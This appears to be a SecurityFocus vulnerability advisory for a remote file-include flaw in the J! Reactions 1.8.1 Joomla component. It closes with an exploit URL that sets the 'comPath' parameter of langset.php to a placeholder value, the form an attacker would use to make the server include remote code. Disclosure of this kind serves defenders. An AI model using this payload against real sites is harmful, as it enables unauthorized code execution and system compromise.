source: https://www.securityfocus.com/bid/25198/info

J! Reactions is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects J! Reactions 1.8.1; other versions may also be vulnerable.

http://www.example.com/administrator/components/com_jreactions/langset.php?comPath=Evil?